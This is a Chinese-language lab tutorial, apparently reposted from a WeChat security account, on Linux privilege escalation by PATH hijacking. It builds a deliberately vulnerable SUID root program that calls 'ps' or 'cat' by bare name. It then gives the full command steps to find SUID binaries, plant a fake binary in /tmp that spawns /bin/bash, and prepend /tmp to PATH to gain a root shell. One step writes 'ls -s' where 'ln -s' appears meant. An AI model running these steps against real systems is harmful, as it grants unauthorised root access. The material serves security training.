1、简介

PATH 是 Linux 和类 Unix 操作系统中的一个环境变量，它指定存储所有可执行程序的所有 bin 和 sbin 目录。当用户在终端上运行任何命令时，它会请求 shell 在 PATH 变量的帮助下搜索可执行文件，以响应用户执行的命令。超级用户通常还具有 /sbin 和 /usr/sbin 条目，以便轻松执行系统管理命令。

2、环境变量

echo $PATH

.在环境 PATH 变量中，这意味着登录的用户可以从当前目录执行二进制文件/脚本，这可能是攻击者提升 root 权限的绝佳技术。这是由于在编写程序时缺乏注意，因此管理员没有指定程序的完整路径。

3、靶场环境-1

3.1 靶场配置

useradd willing
passwd willing

cd /home/willing
mkdir script
cd script/

vim demo.c

#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("ps");
}

ls
gcc demo.c -o shell
chmod u+s shell
ls -la

3.2、提权步骤

find / -perm -u=s -type f 2>/dev/null

cd /home/willing/script/
./shell

echo "/bin/bash" > /tmp/ps
chmod 777 /tmp/ps
export PATH=/tmp:$PATH
./shell

cp /bin/bash /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell

ls -s /bin/bash /tmp/ps
export PATH=/tmp:$PATH
./shell

4、靶场环境-2

4.1 靶场配置

useradd willing
passwd willing

cd /home/willing
mkdir script
cd script/

vim demo.c

#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("cat /etc/passwd");
}

ls
gcc demo.c -o shell
chmod u+s shell
ls -la

4.2 提权步骤

find / -perm -u=s -type f 2>/dev/null

cd /home/willing/script/
./shell

cd /tmp
nano cat

写入/bin/bash内容

chmod 777 /tmp/cat

echo $PATH 
export PATH=/tmp:$PATH

cd /home/willing/script/
./shell

原文始发于微信公众号（安全孺子牛）：Linux提权-PATH环境变量提权环境部署和提权方法